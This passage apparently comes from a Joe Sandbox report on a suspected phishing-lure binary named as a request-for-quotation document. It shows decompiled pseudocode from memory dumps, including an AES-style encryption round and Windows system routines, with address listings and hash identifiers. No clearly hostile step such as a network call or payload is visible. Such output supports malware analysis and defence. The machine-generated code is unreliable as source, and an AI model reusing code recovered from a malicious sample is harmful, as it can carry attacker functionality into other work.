							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E00A53D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return L00A5B640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x00a34128
0x00a34135
0x00a3413c
0x00a34141
0x00a34145
0x00a34147
0x00a3414e
0x00a34151
0x00a34159
0x00a3415c
0x00a34160
0x00a34164
0x00a34168
0x00a3416c
0x00a3417f
0x00a34181
0x00a3446a
0x00a3446a
0x00a3418c
0x00a34195
0x00a34199
0x00a34432
0x00a34439
0x00a3443d
0x00a34442
0x00a34447
0x00000000
0x00a3419f
0x00a341a3
0x00a341b1
0x00a341b9
0x00a341bd
0x00a345db
0x00a345db
0x00000000
0x00a341c3
0x00a341c3
0x00a341ce
0x00a341d4
0x00a7e138
0x00a7e13e
0x00a7e169
0x00a7e16d
0x00a7e19e
0x00a7e16f
0x00a7e16f
0x00a7e175
0x00a7e179
0x00a7e18f
0x00a7e193
0x00000000
0x00a7e199
0x00000000
0x00a7e199
0x00a7e193
0x00000000
0x00000000
0x00000000
0x00a341da
0x00a341da
0x00a341df
0x00a341e4
0x00a341ec
0x00a34203
0x00a34207
0x00a7e1fd
0x00a34222
0x00a34226
0x00a7e1f3
0x00a7e1f3
0x00a3422c
0x00a3422c
0x00a34233
0x00a7e1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00a34239
0x00a34239
0x00a34239
0x00a34239
0x00a34233
0x00a34226
0x00a341ee
0x00a341ee
0x00a341f4
0x00a34575
0x00a7e1b1
0x00a7e1b1
0x00000000
0x00a3457b
0x00a3457b
0x00a34582
0x00a7e1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x00a34588
0x00a34588
0x00a3458c
0x00a7e1c4
0x00a7e1c4
0x00000000
0x00a34592
0x00a34592
0x00a34599
0x00a7e1be
0x00000000
0x00000000
0x00000000
0x00000000
0x00a3459f
0x00a3459f
0x00a345a3
0x00a7e1d7
0x00a7e1e4
0x00000000
0x00a345a9
0x00a345a9
0x00a345b0
0x00a7e1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x00a345b6
0x00a345b6
0x00a345b6
0x00000000
0x00a345b6
0x00a345b0
0x00a345a3
0x00a34599
0x00a3458c
0x00a34582
0x00000000
0x00000000
0x00000000
0x00000000
0x00a341f4
0x00a3423e
0x00a34241
0x00a345c0
0x00a345c4
0x00000000
0x00a345ca
0x00a345ca
0x00000000
0x00a7e207
0x00a7e20f
0x00000000
0x00000000
0x00000000
0x00000000
0x00a345d1
0x00000000
0x00000000
0x00a345ca
0x00000000
0x00a34247
0x00a34247
0x00a34247
0x00a34249
0x00a34249
0x00a34249
0x00a34251
0x00a34251
0x00a34257
0x00a3425f
0x00a3426e
0x00a34270
0x00a3427a
0x00a7e219
0x00a7e219
0x00a34280
0x00a34282
0x00a34456
0x00a345ea
0x00000000
0x00a345f0
0x00a7e223
0x00000000
0x00a7e223
0x00a3445c
0x00a3445c
0x00000000
0x00a3445c
0x00000000
0x00a34288
0x00a3428c
0x00a7e298
0x00a34292
0x00a34292
0x00a3429e
0x00a342a3
0x00a342a7
0x00a342ac
0x00a7e22d
0x00a342b2
0x00a342b2
0x00a342b9
0x00a342bc
0x00a342c2
0x00a342ca
0x00a342cd
0x00a342cd
0x00a342d4
0x00a3433f
0x00a3433f
0x00a342d6
0x00a342d6
0x00a342d9
0x00a342dd
0x00a342eb
0x00a7e23a
0x00a342f1
0x00a34305
0x00a3430d
0x00a34315
0x00a34318
0x00a3431f
0x00a34322
0x00a3432e
0x00a3433b
0x00a3433b
0x00000000
0x00a3432e
0x00a342eb
0x00a3434c
0x00a3434e
0x00a34352
0x00a34359
0x00a3435e
0x00a34361
0x00a3436e
0x00a3438a
0x00a3438e
0x00a34396
0x00a3439e
0x00a343a1
0x00a343ad
0x00a343bb
0x00a343bb
0x00a343ad
0x00a3436e
0x00a343bf
0x00a343c5
0x00a34463
0x00a34463
0x00a343ce
0x00a343d5
0x00a343d9
0x00a343df
0x00a34475
0x00a34479
0x00a34491
0x00a34491
0x00a34479
0x00a343e5
0x00a343eb
0x00a343f4
0x00a343f6
0x00a343f9
0x00a343fc
0x00a343ff
0x00a344e8
0x00a344ed
0x00a344f3
0x00a7e247
0x00000000
0x00a344f9
0x00a34504
0x00a34508
0x00a3450f
0x00a7e269
0x00000000
0x00a34515
0x00a34519
0x00a34531
0x00a34534
0x00a34537
0x00a3453e
0x00a34541
0x00a3454a
0x00a7e255
0x00a7e255
0x00a7e25b
0x00a7e25e
0x00a7e261
0x00a7e261
0x00a34555
0x00a34559
0x00a3455d
0x00a7e26d
0x00a7e270
0x00a7e274
0x00a7e27a
0x00a7e27d
0x00a7e28e
0x00a7e28e
0x00a34563
0x00a34563
0x00a34569
0x00a34569
0x00000000
0x00a3455d
0x00a3450f
0x00000000
0x00a344f3
0x00a343ff
0x00a34405
0x00a34405
0x00a34405
0x00a342ac
0x00a3428c
0x00a34282
0x00a34407
0x00a3440d
0x00a7e2af
0x00a7e2af
0x00a34413
0x00a34413
0x00000000
0x00a341d4
0x00000000
0x00a341c3
0x00a341bd
0x00a34415
0x00a34415
0x00a34416
0x00a34417
0x00a34429
0x00a3416e
0x00a3416e
0x00a34175
0x00a34498
0x00a3449f
0x00a7e12d
0x00000000
0x00a7e133
0x00000000
0x00a7e133
0x00a344a5
0x00a344a5
0x00a344aa
0x00000000
0x00a344bb
0x00a344ca
0x00a344d6
0x00a344d7
0x00a344d8
0x00a344e3
0x00a344e3
0x00a344aa
0x00a3417b
0x00a3417b
0x00a3417b
0x00000000
0x00a3417b
0x00a34175
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0138a3e82981192921269797d12f345e7f8cae74e254bf86d7d48cb5cb94a557
Instruction ID: c6393b319259a2ca0193de6dcfa33fb7965d5b795339c0d7a6c7af0914f0639f
Opcode Fuzzy Hash: 0138a3e82981192921269797d12f345e7f8cae74e254bf86d7d48cb5cb94a557
Instruction Fuzzy Hash: A3F16A716082118BC724CF59C481A7AB7F1BF9C704F54896EF88ACB291E734EC95DB52

Uniqueness

Uniqueness Score: -1.00%

Function 00402FB0, Relevance: .4, Instructions: 435
COMMONCrypto

Download Yara Rule

C-Code - Quality: 26%

			E00402FB0(void* __eax, signed int* __ecx, signed int* __edx, signed int _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				void* _t273;
				signed int _t274;
				signed int _t282;
				signed int* _t358;
				signed int _t383;
				signed int* _t409;
				signed int _t429;
				signed int _t458;
				signed int _t478;
				signed int _t560;
				signed int _t603;

				_t273 = __eax;
				asm("ror edi, 0x8");
				asm("rol edx, 0x8");
				_t458 = ( *__edx & 0xff00ff00 |  *__edx & 0x00ff00ff) ^  *__ecx;
				asm("ror ebx, 0x8");
				asm("rol edx, 0x8");
				_v20 = _t458;
				_v8 = (__edx[1] & 0xff00ff00 | __edx[1] & 0x00ff00ff) ^ __ecx[1];
				asm("ror ebx, 0x8");
				asm("rol edx, 0x8");
				_t282 = (__edx[2] & 0xff00ff00 | __edx[2] & 0x00ff00ff) ^ __ecx[2];
				asm("ror esi, 0x8");
				asm("rol edx, 0x8");
				_v12 = (__edx[3] & 0xff00ff00 | __edx[3] & 0x00ff00ff) ^ __ecx[3];
				asm("ror edx, 0x10");
				asm("ror esi, 0x8");
				asm("rol esi, 0x8");
				_v24 = _t282;
				_t429 =  *(__eax + 4 + (_t282 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v12 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t458 >> 0x00000018 & 0x000000ff) * 4) ^ __ecx[4];
				asm("ror esi, 0x10");
				asm("ror ebx, 0x8");
				asm("rol ebx, 0x8");
				_t603 =  *(__eax + 4 + (_v12 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t282 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t458 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 >> 0x00000018 & 0x000000ff) * 4) ^ __ecx[5];
				asm("ror ebx, 0x8");
				asm("ror edi, 0x10");
				asm("rol edi, 0x8");
				_v16 =  *(__eax + 4 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t458 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v24 >> 0x00000018 & 0x000000ff) * 4) ^ __ecx[6];
				asm("ror edi, 0x10");
				asm("ror ebx, 0x8");
				asm("rol ebx, 0x8");
				_t409 =  &(__ecx[8]);
				_v12 =  *(__eax + 4 + (_v8 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v20 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v24 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v12 >> 0x00000018 & 0x000000ff) * 4) ^  *(_t409 - 4);
				_t478 = (_a4 >> 1) - 1;
				_a4 = _t478;
				if(_t478 != 0) {
					do {
						asm("ror edi, 0x10");
						asm("ror ebx, 0x8");
						asm("rol ebx, 0x8");
						_v20 =  *(__eax + 4 + (_v16 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t603 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v12 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t429 >> 0x00000018 & 0x000000ff) * 4) ^  *_t409;
						asm("ror edi, 0x10");
						asm("ror ebx, 0x8");
						asm("rol ebx, 0x8");
						_v8 =  *(__eax + 4 + (_v12 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v16 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t429 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t603 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[1];
						asm("ror ebx, 0x8");
						asm("ror edi, 0x10");
						asm("rol edi, 0x8");
						_t383 =  *(__eax + 4 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t429 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t603 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v16 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[2];
						asm("ror edi, 0x10");
						asm("ror edx, 0x8");
						asm("rol edx, 0x8");
						_v24 = _t383;
						_t560 =  *(__eax + 4 + (_t603 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t429 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v16 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v12 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[3];
						asm("ror edx, 0x10");
						asm("ror esi, 0x8");
						asm("rol esi, 0x8");
						_t429 =  *(__eax + 4 + (_t383 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t560 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v20 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[4];
						asm("ror esi, 0x10");
						asm("ror ebx, 0x8");
						asm("rol ebx, 0x8");
						_t603 =  *(__eax + 4 + (_t560 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t383 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v20 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[5];
						_v12 = _t560;
						asm("ror edi, 0x8");
						asm("ror ebx, 0x10");
						asm("rol ebx, 0x8");
						_v16 =  *(__eax + 4 + (_t560 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v20 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v24 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[6];
						asm("ror ebx, 0x10");
						asm("ror edi, 0x8");
						asm("rol edi, 0x8");
						_t409 =  &(_t409[8]);
						_t205 =  &_a4;
						 *_t205 = _a4 - 1;
						_v12 =  *(__eax + 4 + (_v8 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v20 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v24 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v12 >> 0x00000018 & 0x000000ff) * 4) ^  *(_t409 - 4);
					} while ( *_t205 != 0);
				}
				asm("ror ebx, 0x8");
				asm("rol edi, 0x8");
				 *_a8 = (( *(_t273 + 4 + (_t429 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_t603 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_v16 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_v12 & 0x000000ff) * 4) & 0x000000ff ^  *_t409) & 0xff00ff00 | (( *(_t273 + 4 + (_t429 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_t603 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_v16 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_v12 & 0x000000ff) * 4) & 0x000000ff ^  *_t409) & 0x00ff00ff;
				asm("ror ebx, 0x8");
				asm("rol edi, 0x8");
				_a8[1] = (( *(_t273 + 4 + (_t603 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_v16 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_v12 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_t429 & 0x000000ff) * 4) & 0x000000ff ^ _t409[1]) & 0xff00ff00 | (( *(_t273 + 4 + (_t603 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_v16 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_v12 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_t429 & 0x000000ff) * 4) & 0x000000ff ^ _t409[1]) & 0x00ff00ff;
				asm("ror ebx, 0x8");
				asm("rol edi, 0x8");
				_t358 = _a8;
				_t358[2] = (( *(_t273 + 4 + (_v16 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_v12 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_t429 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_t603 & 0x000000ff) * 4) & 0x000000ff ^ _t409[2]) & 0xff00ff00 | (( *(_t273 + 4 + (_v16 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_v12 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_t429 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_t603 & 0x000000ff) * 4) & 0x000000ff ^ _t409[2]) & 0x00ff00ff;
				_t274 =  *(_t273 + 5 + (_v16 & 0x000000ff) * 4) & 0x000000ff;
				asm("ror ecx, 0x8");
				asm("rol edi, 0x8");
				_t358[3] = (( *(_t273 + 4 + (_v12 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_t429 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_t603 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^ _t274 ^ _t409[3]) & 0xff00ff00 | (( *(_t273 + 4 + (_v12 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_t429 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_t603 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^ _t274 ^ _t409[3]) & 0x00ff00ff;
				return _t274;
			}

0x00402fb0
0x00402fbf
0x00402fc8
0x00402fd6
0x00402fda
0x00402fe3
0x00402ff4
0x00402ff7
0x00402ffc
0x00403005
0x00403013
0x00403018
0x00403021
0x00403031
0x00403051
0x00403054
0x00403066
0x0040306b
0x00403080
0x0040309d
0x004030a0
0x004030b1
0x004030c6
0x004030e6
0x004030e9
0x004030fb
0x00403119
0x00403136
0x00403139
0x0040314b
0x00403160
0x00403166
0x0040316e
0x0040316f
0x00403172
0x00403180
0x00403190
0x004031a2
0x004031b4
0x004031d0
0x004031e3
0x004031f0
0x00403201
0x00403218
0x0040323a
0x0040323d
0x0040324e
0x00403269
0x00403280
0x00403283
0x00403295
0x0040329d
0x004032b2
0x004032cf
0x004032d2
0x004032e3
0x00403307
0x00403317
0x0040331a
0x0040332c
0x00403344
0x00403347
0x0040335a
0x00403367
0x00403379
0x00403391
0x004033b4
0x004033b7
0x004033c9
0x004033de
0x004033e4
0x004033e4
0x004033e7
0x004033e7
0x00403180
0x0040344b
0x00403454
0x00403462
0x004034c0
0x004034c9
0x004034d7
0x00403539
0x00403542
0x0040354f
0x00403552
0x0040359e
0x004035aa
0x004035b3
0x004035c0
0x004035c7

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 937a55679482902739b3c28cbd4d4033f685ec815d12dd2f022c6521ee9f93e4
Instruction ID: 3a980b568be2ae1ecdc62ef5b70c599cea3cbb84bd4cfa04f309e58bee3fdca8
Opcode Fuzzy Hash: 937a55679482902739b3c28cbd4d4033f685ec815d12dd2f022c6521ee9f93e4
Instruction Fuzzy Hash: 37026E73E547164FE720CE4ACDC4725B3A3EFC8301F5B81B8CA142B613CA39BA525A90

Uniqueness

Uniqueness Score: -1.00%

Function 00A234B1, Relevance: .4, Instructions: 424
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00A234B1(signed int __eax, signed int __ecx, intOrPtr __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, unsigned int _a16, unsigned int _a20, intOrPtr _a24, char _a28) {
				char _v9;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				char* _v32;
				unsigned int _v36;
				unsigned int _v40;
				signed char _v44;
				unsigned int _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				char _v64;
				unsigned int _v68;
				unsigned int _v72;
				intOrPtr _v76;
				char _v80;
				unsigned int _v84;
				char _v88;
				signed int _t159;
				void* _t160;
				intOrPtr _t161;
				intOrPtr _t163;
				unsigned int _t164;
				intOrPtr _t166;
				signed int _t168;
				unsigned int _t204;
				intOrPtr _t214;
				intOrPtr _t216;
				signed char _t217;
				signed int _t241;
				signed char _t242;
				signed short _t243;
				intOrPtr _t244;
				intOrPtr _t245;
				unsigned int _t247;
				intOrPtr _t249;
				intOrPtr* _t250;
				intOrPtr _t251;
				signed int _t253;
				signed int _t256;
				intOrPtr _t259;
				signed int _t261;
				signed int _t263;
				intOrPtr _t264;
				signed int _t266;
				intOrPtr _t268;
				void* _t272;
				signed int _t273;
				intOrPtr _t285;
				signed int _t293;
				signed int _t294;
				intOrPtr _t300;
				void* _t302;
				signed int _t304;
				signed int _t305;
				intOrPtr _t306;

				_v44 = __ecx;
				_t159 = __eax | 0xffffffff;
				_v88 = 0;
				_t300 = __edx;
				_v84 = 0;
				_t272 = _a4;
				_v68 = 0;
				_v60 = 0;
				_v16 = _t159;
				_v24 = _t159;
				_v20 = _t159;
				_v64 = 0;
				_v9 = 0;
				_v40 = 0;
				_v48 = 0;
				if(_t272 == 0) {
					L99:
					_t160 = 0xc000000d;
					L55:
					return _t160;
				}
				_t161 =  *_t272;
				if(_t161 == 0 || __edx == 0 ||  *((intOrPtr*)(_t161 + 4)) > 0) {
					goto L99;
				} else {
					_t247 = 0;
					_t241 = __ecx & 0x00010000;
					if( *((intOrPtr*)( *[fs:0x18] + 0xfbc)) == 0) {
						_t163 = 0;
					} else {
						_t163 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0xfbc))));
					}
					if(_t163 == 0) {
						_t164 = _t247;
					} else {
						_t164 =  *(_t163 + 0x20);
					}
					_v72 = _t164;
					_v32 = _t272;
					if(_t241 != 0 || (_t164 & 0x00000006) == 0) {
						L12:
						_v36 = _t247;
						_t166 = L00A34620(_t247,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x154);
						_v40 = _t166;
						if(_t166 == 0) {
							_t160 = 0xc0000017;
							goto L55;
						}
						if(_t241 != 0) {
							L15:
							_t273 = 0;
							if(_a12 != 0) {
								if(_t241 != 0) {
									goto L16;
								}
								_t245 = _a12;
								_t263 = 0;
								_v56 = 0;
								if(0 >=  *(_t245 + 4)) {
									goto L16;
								}
								_t305 = 0;
								_v52 = 0;
								do {
									_t290 =  *((intOrPtr*)(_t245 + 0x10)) + _t305;
									if(0 ==  *((intOrPtr*)( *((intOrPtr*)(_t245 + 0x10)) + _t305))) {
										goto L82;
									}
									_t264 =  *((intOrPtr*)(_t245 + 0xc));
									_v76 = _v40;
									_v80 = 0xaa0000;
									if(_t264 == 0) {
										_t264 = _t300;
									}
									if(E00A23133(_t264, _t290,  &_v80) < 0) {
										L81:
										_t263 = _v56;
										goto L82;
									}
									_push(_t264);
									_t302 = E00A240BE(_v32, _t300, 0,  &_v16, _v76);
									if(_t302 < 0) {
										goto L50;
									}
									_t305 = _v52;
									goto L81;
									L82:
									_t263 = _t263 + 1;
									_t305 = _t305 + 6;
									_v56 = _t263;
									_v52 = _t305;
								} while (_t263 < ( *(_t245 + 4) & 0x0000ffff));
								_t273 = 0;
							}
							L16:
							_t242 = _v44;
							_t168 = _t242 & 0x00000020;
							_v52 = _t168;
							if(_t168 == 0) {
								L36:
								_v88 = 0xaa0000;
								_v84 = _v40 + 0xaa;
								_t302 = E00A249B0( &_v28, _t300);
								if(_t302 < 0) {
									goto L50;
								}
								_t303 = _v28;
								if(L00A23B30(_v28 & 0x0000ffff,  &_v88) == 0) {
									_t302 = 0xc0000001;
									goto L50;
								}
								_t249 = _t300;
								_t302 = L00A23BF4(_t249, _t303, 1,  &_v20);
								if(_t302 < 0) {
									goto L50;
								}
								_t243 = _v20;
								if((_t242 & 0x00000040) != 0) {
									L44:
									if(_v9 == 0) {
										goto L50;
									}
									_t250 = _v32;
									if(_t250 == 0) {
										goto L50;
									}
									_t251 =  *_t250;
									_t302 = L00A21F8A(_t251, _t300, _v72 >> 0x00000002 & 1, _v68, _a4);
									if(_t302 >= 0 && (_v44 & 0x00000030) == 0x30) {
										_push(_t251);
										_t302 = E00A240BE(_a4, _t300, 0,  &_v24, _v84);
										if(_t302 < 0) {
											goto L50;
										}
										_t253 = _t243 * 0x1c;
										_t278 =  *((intOrPtr*)( *((intOrPtr*)(_t300 + 0x14)) + 0xc)) + _t253;
										if(( *( *((intOrPtr*)( *((intOrPtr*)(_t300 + 0x14)) + 0xc)) + _t253) & 0x00000006) != 0) {
											if(_v36 == 0) {
												L96:
												_t195 =  *((intOrPtr*)(_t300 + 0x1c));
												L97:
												_push(_t253);
												_t302 = E00AB6BEC(_a4, _t278, _t300, _t195);
												goto L50;
											}
											_t195 = _v48;
											if(_v48 != 0) {
												goto L97;
											}
											goto L96;
										}
									}
									goto L50;
								}
								if(_a28 != 0) {
									if(_v60 > 0) {
										goto L44;
									}
								}
								_push(_t249);
								_t302 = E00A240BE(_v32, _t300, 0,  &_v24, _v84);
								if(_t302 >= 0 && _v52 != 0) {
									_t256 = _t243 * 0x1c;
									_t281 =  *((intOrPtr*)( *((intOrPtr*)(_t300 + 0x14)) + 0xc)) + _t256;
									if(( *( *((intOrPtr*)( *((intOrPtr*)(_t300 + 0x14)) + 0xc)) + _t256) & 0x00000006) != 0) {
										if(_v36 == 0) {
											L91:
											_t202 =  *((intOrPtr*)(_t300 + 0x1c));
											L92:
											_push(_t256);
											_t302 = E00AB6BEC(_v32, _t281, _t300, _t202);
											if(_t302 < 0) {
												goto L50;
											}
											goto L44;
										}
										_t202 = _v48;
										if(_v48 != 0) {
											goto L92;
										}
										goto L91;
									}
								}
								goto L44;
							}
							_t204 = _a16;
							if(_t204 == 0 ||  *((intOrPtr*)(_t204 + 4)) <= _t273) {
								_t204 = _a20;
								if(_t204 == 0 ||  *((intOrPtr*)(_t204 + 4)) <= _t273) {
									goto L36;
								} else {
									goto L21;
								}
							} else {
								L21:
								_v36 = _t204;
								if( *((char*)(_t204 + 8)) == 0) {
									_t244 = _a24;
									_v48 = _t244;
									if(_t244 != 0) {
										L24:
										_v56 = _t273;
										if(0 >=  *((intOrPtr*)(_t204 + 4))) {
											L35:
											_t242 = _v44;
											goto L36;
										}
										_t304 = _t273;
										while(1) {
											_t283 =  *((intOrPtr*)(_t204 + 0x10)) + _t304;
											if(0 ==  *((intOrPtr*)( *((intOrPtr*)(_t204 + 0x10)) + _t304))) {
												goto L34;
											}
											_t259 = _t300;
											_v76 = _v40;
											_v80 = 0xaa0000;
											if(E00A23133(_t259, _t283,  &_v80) < 0) {
												goto L34;
											}
											_push(_t259);
											if(E00A240BE(_v32, _t300, 1,  &_v16, _v76) >= 0 && (_v44 & 0x00000010) != 0) {
												_t214 =  *((intOrPtr*)(_v36 + 0x10));
												if( *((short*)(_t304 + _t214)) != 2) {
													goto L34;
												}
												_t261 =  *(_t304 + _t214 + 4) * 0x1c;
												_t216 =  *((intOrPtr*)(_t300 + 0x14));
												_t288 =  *((intOrPtr*)(_t216 + 0xc)) + _t261;
												_t217 =  *( *((intOrPtr*)(_t216 + 0xc)) + _t261) & 0x0000ffff;
												if((_t217 & 0x00000007) == 0) {
													goto L34;
												}
												if((_t217 & 0x00000006) != 0) {
													_push(_t261);
													if(E00AB6BEC(_v32, _t288, _t300, _t244) < 0) {
														goto L34;
													}
												}
												_v60 = _v60 + 1;
											}
											L34:
											_t304 = _t304 + 6;
											_t285 = _v56 + 1;
											_v56 = _t285;
											if(_t285 < ( *(_v36 + 4) & 0x0000ffff)) {
												_t204 = _v36;
												continue;
											}
											goto L35;
										}
									}
									_t244 =  *((intOrPtr*)(_t300 + 0x20));
									L23:
									_v48 = _t244;
									goto L24;
								}
								_t244 =  *((intOrPtr*)(_t300 + 0x1c));
								goto L23;
							}
						}
						_t306 = _a8;
						if(_t306 != 0) {
							_t266 = 0;
							_v52 = 0;
							if(0 >=  *(_t306 + 4)) {
								goto L15;
							}
							_v56 = 0;
							do {
								_t229 =  *((intOrPtr*)(_t306 + 0x10)) + _t266;
								_t293 = _v52;
								if(0 ==  *((intOrPtr*)( *((intOrPtr*)(_t306 + 0x10)) + _t266))) {
									goto L70;
								}
								_v76 = _v40;
								_t268 =  *((intOrPtr*)(_t306 + 0xc));
								_v80 = 0xaa0000;
								if(_t268 == 0) {
									_t268 = _t300;
								}
								if(E00A23133(_t268, _t229,  &_v80) < 0) {
									L69:
									_t293 = _v52;
									_t266 = _v56;
								} else {
									_push(_t268);
									_t302 = E00A240BE(_v32, _t300, 0,  &_v16, _v76);
									if(_t302 < 0) {
										goto L50;
									}
									_t306 = _a8;
									goto L69;
								}
								L70:
								_t294 = _t293 + 1;
								_t266 = _t266 + 6;
								_v52 = _t294;
								_v56 = _t266;
							} while (_t294 < ( *(_t306 + 4) & 0x0000ffff));
						}
						goto L15;
					} else {
						_v68 = _t164 >> 0x10;
						_v9 = 1;
						_v32 =  &_v64;
						_t302 = E00A275CE(_t300, 0x19, _t247);
						if(_t302 < 0) {
							L50:
							_t248 = _v64;
							if(_v64 != 0) {
								E00A276E2(_t248);
							}
							_t173 = _v40;
							if(_v40 != 0) {
								L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t173);
							}
							_t160 = _t302;
							goto L55;
						}
						_t247 = 0;
						goto L12;
					}
				}
			}

0x00a234bc
0x00a234c0
0x00a234c3
0x00a234c7
0x00a234c9
0x00a234cc
0x00a234cf
0x00a234d2
0x00a234d5
0x00a234d9
0x00a234dd
0x00a234e1
0x00a234e4
0x00a234e7
0x00a234ea
0x00a234ef
0x00a77f3e
0x00a77f3e
0x00a237d6
0x00a237dc
0x00a237dc
0x00a234f5
0x00a234f9
0x00000000
0x00a23511
0x00a23519
0x00a2351b
0x00a23527
0x00a77d87
0x00a2352d
0x00a23539
0x00a23539
0x00a2353d
0x00a77d8e
0x00a23543
0x00a23543
0x00a23543
0x00a23546
0x00a23549
0x00a2354e
0x00a2357c
0x00a23589
0x00a2358f
0x00a23594
0x00a23599
0x00a77d95
0x00000000
0x00a77d95
